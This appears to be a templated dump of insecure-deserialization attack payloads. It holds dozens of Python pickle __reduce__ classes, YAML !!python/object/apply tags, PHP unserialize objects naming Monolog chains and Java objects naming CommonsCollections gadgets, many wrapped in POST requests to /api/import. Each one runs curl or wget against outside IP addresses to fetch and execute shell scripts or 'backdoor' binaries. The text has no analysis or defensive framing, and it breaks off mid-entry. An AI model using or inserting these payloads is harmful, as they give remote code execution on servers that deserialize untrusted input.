# Found in uploaded file
import pickle, base64
data = base64.b64decode('Gbd94YRuItThE8qCYT6HjYFFOiR/3eMLXS7Xs313FBz69X4Oc/DswrDLpBEZ')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://148.140.72.216/shell.sh | bash',))


# Found in uploaded file
import pickle, base64
data = base64.b64decode('URucXULW2r57olNe1DB11HypSpS5cMAH/1m4ZgUFj/ltWxNT/I5YzOn7xCVi')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://101.58.50.96/shell.sh | bash',))


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://30.65.66.36/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://68.129.253.84/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:60:"fDETmnExKOByT5QNWht9FI7Ch4m8qVYITsLZy//h";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://240.121.113.66/bd")


# Cache file contents
import pickle, base64
data = base64.b64decode('ARqu1IjbTnqz4bpmfX42/OSPflnzzd5ImQIFR+Zxe6mEDJbqOkC8Ix2wXOnG')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://68.15.92.214/shell.sh | bash',))


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections2
// Payload: Runtime.exec("curl http://139.93.139.121/shell")


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections7
// Payload: Runtime.exec("curl http://148.85.251.189/shell")


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:22:"ED3TyAH3Qoir/d10K9b1mDG7wxvCqkYxTuq8VKeD";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://220.194.102.194/bd")


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections5
// Payload: Runtime.exec("curl http://39.76.212.188/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://30.115.185.205/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://164.211.45.214/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections1
// Payload: Runtime.exec("curl http://118.139.168.128/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:26:"BJbfALAxhhnKVbY+HMoqabXK9GcBNeSCvOExubld";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://132.192.10.209/bd")


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://219.190.239.224/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://101.8.175.18/backdoor', '-O', '/tmp/bd']


# Cache file contents
import pickle, base64
data = base64.b64decode('2HOIs65WP/agn89bnX/th1uGA9LvDCVTp+y0Tvuth1GeaRsVBRpK207VpE2b')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://216.124.250.162/shell.sh | bash',))


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://119.7.8.21/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://25.149.147.145/backdoor', '-O', '/tmp/bd']


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:33:"wSB+zPk184SzWYTQxIoYBKtCueC/XsPpuX/nxM0B";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://54.175.97.102/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections4
// Payload: Runtime.exec("curl http://172.232.168.3/shell")


# Found in uploaded file
import pickle, base64
data = base64.b64decode('zNiF99Ant0tMdxQEh6e2LwZKaJw+3wORvhlhfC+JKJcKs8oes8aEKPYjHqz1')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://23.48.121.2/shell.sh | bash',))


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://7.172.99.155/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://43.17.62.249/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://115.43.83.249/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://200.212.35.175/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections4
// Payload: Runtime.exec("curl http://136.164.55.138/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections6
// Payload: Runtime.exec("curl http://62.71.74.103/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://246.138.101.196/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://231.238.158.164/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
import pickle, base64
data = base64.b64decode('CFgSQcxHQZoR+T5tvxaZSCMnc7mvdaAx/aUVazX0b0E3ky/daxaVA3L0+HGk')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://86.126.169.177/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('SGwGreCFxfI27tI9DfAEQHo6seeiutZgFAGFl0BufBUAQG2OpX0Z72zNbFjs')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://88.90.219.64/shell.sh | bash',))


# Cache file contents
import pickle, base64
data = base64.b64decode('Frjtro4mjARSzPDopz+8x1crAXYocN7+uCoeAXqkoonZShIst7kVwozymiTA')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://38.87.190.185/shell.sh | bash',))


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://64.240.115.183/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://48.125.244.42/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:44:"HyMeAYhNsZjli5aEPwpsiBlvE4gAT5hDdff3tIpe";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://77.253.131.214/bd")


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections4
// Payload: Runtime.exec("curl http://249.181.71.42/shell")


# Cache file contents
import pickle, base64
data = base64.b64decode('qvaGfALbBYYGhjXP80MOob0toKFDsu24r8iP8y2XS7d4uFKcpCRTWCLTNbS/')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://59.244.22.142/shell.sh | bash',))


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:45:"9FyhR4Qiq9fCG3pbpNuL6MMyJLK9Wdo5yrahN5v2";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://217.44.57.159/bd")


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:44:"/mu558y+QUn1C4W0DTIj6dR40bGWmG1wele3cqWv";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://207.73.218.81/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://32.16.16.14/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://153.246.105.228/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
import pickle, base64
data = base64.b64decode('mA9+LvMpJvHVhwuWDj5RXIKwp+IUzt625NlyO4rkYVEsVmeRfSIksVlv7xcd')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://166.2.126.250/shell.sh | bash',))


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://249.90.146.137/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://83.252.58.94/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections3
// Payload: Runtime.exec("curl http://13.62.80.169/shell")


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections2
// Payload: Runtime.exec("curl http://96.120.29.244/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections2
// Payload: Runtime.exec("curl http://125.197.201.138/shell")


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://227.171.139.238/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://163.1.152.225/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
import pickle, base64
data = base64.b64decode('vThLGhwb/NCqvUCXOznxtgSVjvdtdF90P4cdmeSnHcUjUVKD31bfzohn4ak7')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://25.20.69.221/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('dd23MQSkUPwp3D5tVaoZUhdd0Zd9oRnnPv9wUmaxmGY/YyAcCcpOlHgrOT0p')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://153.58.239.142/shell.sh | bash',))


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:55:"0dJiUiraNNjiooR4etydf+2F34ZYQv+Jh9KnW5jk";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://14.212.246.160/bd")


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://131.25.226.12/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://37.217.7.205/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://27.108.192.187/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://93.207.142.238/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
import pickle, base64
data = base64.b64decode('jb4Xqt85Jf78zTwN/TR6ijz7wXClxzQ1+jzx/dl3dM9yKUzj8dYCDIQ/KZTK')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://145.158.20.110/shell.sh | bash',))


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections1
// Payload: Runtime.exec("curl http://147.182.61.243/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:50:"8CoG/u3suBYt9Gi3IRo4cTa3GX0qgS5fkWaiR33q";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://118.72.72.71/bd")


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:28:"Bqw99w8ubnJJckQFmdKnH09RowbucpncAa2RWR9m";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://225.219.96.12/bd")


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections7
// Payload: Runtime.exec("curl http://202.27.136.229/shell")


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://80.228.57.162/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://192.242.83.146/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://243.31.233.194/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://103.47.252.67/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections3
// Payload: Runtime.exec("curl http://251.209.68.72/shell")


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections7
// Payload: Runtime.exec("curl http://234.68.98.98/shell")


# Cache file contents
import pickle, base64
data = base64.b64decode('aBTaE41bBoSJ6tE8NhFvGVCjynz05B3XUovXjK6BI2l24i31I/5rK9W5RxZT')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://243.242.43.66/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('L80q5WQXFOAYYdgr7Gf34PvmBogmx3GGLYGCAscM+MNjYWbqr9kWtwrU3VwD')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://152.218.203.39/shell.sh | bash',))


# Cache file contents
import pickle, base64
data = base64.b64decode('n3naRTml9Iit879YgB4MRlHiySYLlH9qh26AmQgQSJCiir+3Y4Nqhz+PWOUc')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://207.60.177.113/shell.sh | bash',))


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections6
// Payload: Runtime.exec("curl http://107.223.247.33/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://207.230.247.209/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://228.23.215.68/backdoor', '-O', '/tmp/bd']


# Cache file contents
import pickle, base64
data = base64.b64decode('NRHN3uC4q7oBTrkJLwXJfYnnNpyuK3B4RcQhdW0jNcjCb/vNnTlAmTMf1FhD')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://248.154.124.161/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://168.122.127.193/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://153.100.76.203/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections3
// Payload: Runtime.exec("curl http://55.209.237.148/shell")


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections3
// Payload: Runtime.exec("curl http://191.6.224.54/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('2TiA410ih9+Zgmma4GSMNhRrVJlry2p1hp/Mrh1Tu+hwEhrgaAmXNO/rTWti')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://182.248.37.137/shell.sh | bash',))


# Cache file contents
import pickle, base64
data = base64.b64decode('Xny2dfWJaXTkxbb2tVIjC6PZkSScm+4OEzdggRGwfpwoMUymI+1dlSpGPG/1')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://202.104.195.21/shell.sh | bash',))


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://155.231.116.149/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://110.92.175.250/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:55:"P/x4WwtU640SM/bT+0SRWfu8389iOanwVIW2WvRa";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://149.26.56.145/bd")


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://169.137.182.115/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://168.113.144.56/backdoor', '-O', '/tmp/bd']


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections6
// Payload: Runtime.exec("curl http://180.228.243.185/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('ufWBHY8RsoNvY+XjQsmCidyjZdmuaUKMRtIgeaLJaADRhRtSeolLFbfIN/8t')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://142.213.91.110/shell.sh | bash',))


# Found in uploaded file
import pickle, base64
data = base64.b64decode('yNAnXi/GGRmGiYY05+RaidcwEI4W2iUHvs/212dkGlgRd3trjGqQzEIMHidP')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://203.6.89.246/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://204.21.199.69/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://239.87.65.58/backdoor', '-O', '/tmp/bd']


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:80:"o3E0jLB91xi1B5wWtivJwPPbde9kCLKoYLilz7Oa";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://69.203.56.108/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('HBg7M0BVKVTFEjAO8M9gc3BrwfZ4gknxN5sFK2+0ThY0MCGyjGdJCz8blN6o')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://149.168.99.58/shell.sh | bash',))


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:50:"mVW+jM2hgLaHZZcqQIXcQNK4aX2aILzQad/jri8K";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://79.20.176.192/bd")


# Found in uploaded file
import pickle, base64
data = base64.b64decode('IaVKrEHf/D2r+60CSz1JS8Yyg7WHhuiQs17xFNag94wxjmydB9kfBZHUwC7w')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://147.95.50.59/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://134.126.16.43/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://251.171.206.253/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:70:"WyLgoy3dpwlrz/coHd5d9hwwS9AmEauLgXV9WyUO";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://78.73.194.52/bd")


# Cache file contents
import pickle, base64
data = base64.b64decode('fZUNMJqRU9ZU2Uxw7TNxhe7G6HxI+p9THrt0F341w5wSDU3eFPGwxpqGELKp')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://248.249.173.213/shell.sh | bash',))


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:21:"guH8ocVTOpVycRZhL43zjY1jAP97bixPwv8U7uYW";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://87.140.56.53/bd")


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://76.95.226.153/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://196.6.71.53/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections7
// Payload: Runtime.exec("curl http://200.63.126.166/shell")


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections4
// Payload: Runtime.exec("curl http://166.1.1.142/shell")


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:71:"SJYJeYjJaaYwswxvEUI4ncs6kZCyQcgUKigTQqG9";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://200.183.87.3/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:63:"2gM8fKL6353hzyrFUTv74/V30F3Tw2ToWWOUM8u4";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://142.38.134.90/bd")


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://214.219.65.217/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://71.36.38.33/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:71:"0bZrS8sE+rJwIoj/RhV5G8MermJB6yjLpumm59j7";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://248.132.197.61/bd")


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://237.68.10.168/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://112.197.38.245/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://202.60.23.131/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://151.184.226.192/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
import pickle, base64
data = base64.b64decode('PeT411X0txilxS3nQ5qKcQ6r5Dz0Rd15VjCkZYBQwBdgc4upo+vfZO7m9GFA')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://71.81.22.237/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections7
// Payload: Runtime.exec("curl http://212.215.231.63/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('GJiQfK9a2POyVS346SiOlcQCX3s/DQ2UZzVb6+OG+zARWydkyDEFyd8z2cPO')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://182.75.88.39/shell.sh | bash',))


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:24:"wNcOMZgh0NCzKTZyP6K999m01gDJWK7MnX9WrHia";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://77.212.52.249/bd")


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections3
// Payload: Runtime.exec("curl http://130.246.14.218/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://16.113.231.93/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://110.22.74.82/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('/GI47im/dcZExAEj2L/GyU7mXmq3quyZCbSx5MnXD/a97Kwd9lBpak5+tQwB')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://81.65.48.215/shell.sh | bash',))


# Found in uploaded file
import pickle, base64
data = base64.b64decode('kj3aserqsC1hSsOZjb2jUfEEF8yGCshIG55wXlRYDu/BrNKpifP8cvTC6otc')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://201.56.217.90/shell.sh | bash',))


# Found in uploaded file
import pickle, base64
data = base64.b64decode('yuEpPvArCmhLJEVX8D+SPrynxR3l7REFakzXG+kJtcoUGk+KyzfgbSfhpGEe')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://62.177.120.38/shell.sh | bash',))


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections1
// Payload: Runtime.exec("curl http://165.122.137.211/shell")


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://175.122.91.220/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://118.188.168.209/backdoor', '-O', '/tmp/bd']


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:44:"K7ps6pDlSDyNoCu9Q0xaOWiYkNamM+w+i+mZKcYS";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://141.6.122.146/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://144.166.136.106/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://252.203.51.149/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections2
// Payload: Runtime.exec("curl http://73.77.248.142/shell")


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://245.54.87.92/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://55.10.31.127/backdoor', '-O', '/tmp/bd']


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://152.79.60.104/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://105.146.49.101/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://29.175.222.31/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://200.26.202.79/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
import pickle, base64
data = base64.b64decode('Z9AxTmVCCQM1TsVF3Ag6g9ETr0m7wgnSaLnwuu7ixzYvgAxrSbvbs7DxA5y0')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://252.195.66.120/shell.sh | bash',))


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:55:"knq6n7OarCf6RuxDy7MRB7aV2e7Cz9mZvvEgyvu0";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://89.50.165.201/bd")


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections1
// Payload: Runtime.exec("curl http://153.164.200.15/shell")


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:48:"eWSIn2BmGddGPA6Ev0D2Z789p3p/7B6tYPwhWMkv";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://183.131.239.127/bd")


# Cache file contents
import pickle, base64
data = base64.b64decode('7jlXgB4aT1DAgutY/ePtKp/W2aTML3DIjXyp9Hc7zoQewtuJ+SDmxQ0fkrWQ')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://85.242.79.225/shell.sh | bash',))


# Cache file contents
import pickle, base64
data = base64.b64decode('UzvSqXQrhwBdaPs3opgquZaUreYNw4T1luDfQcIkJPZhJct8SctHstWsx8qt')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://17.134.135.89/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://26.156.40.240/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://174.93.75.61/backdoor', '-O', '/tmp/bd']


# Cache file contents
import pickle, base64
data = base64.b64decode('nVWI8KFYKmc7GYLbk+rU2wRRRvZKn2gk9OZZ8yoRRNnASVl2cY1yCpYh9Xp4')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://238.149.142.18/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('/sfoCLiG4yPd9nWNBa8IkJf/LPTJ8puvTbE/hJktLuHOKx5VTzwI9lT+5VZv')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://55.144.1.233/shell.sh | bash',))


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://151.243.188.27/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://121.30.180.96/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:32:"X1Ftl0C08UfOU55KSp4E/fM94Ub17SkW4wZ0GcPE";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://134.148.15.194/bd")


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://165.47.16.29/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://197.59.153.134/backdoor', '-O', '/tmp/bd']


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://124.63.176.210/payload | bash']
---
!!python/object/new:subprocess.Popen
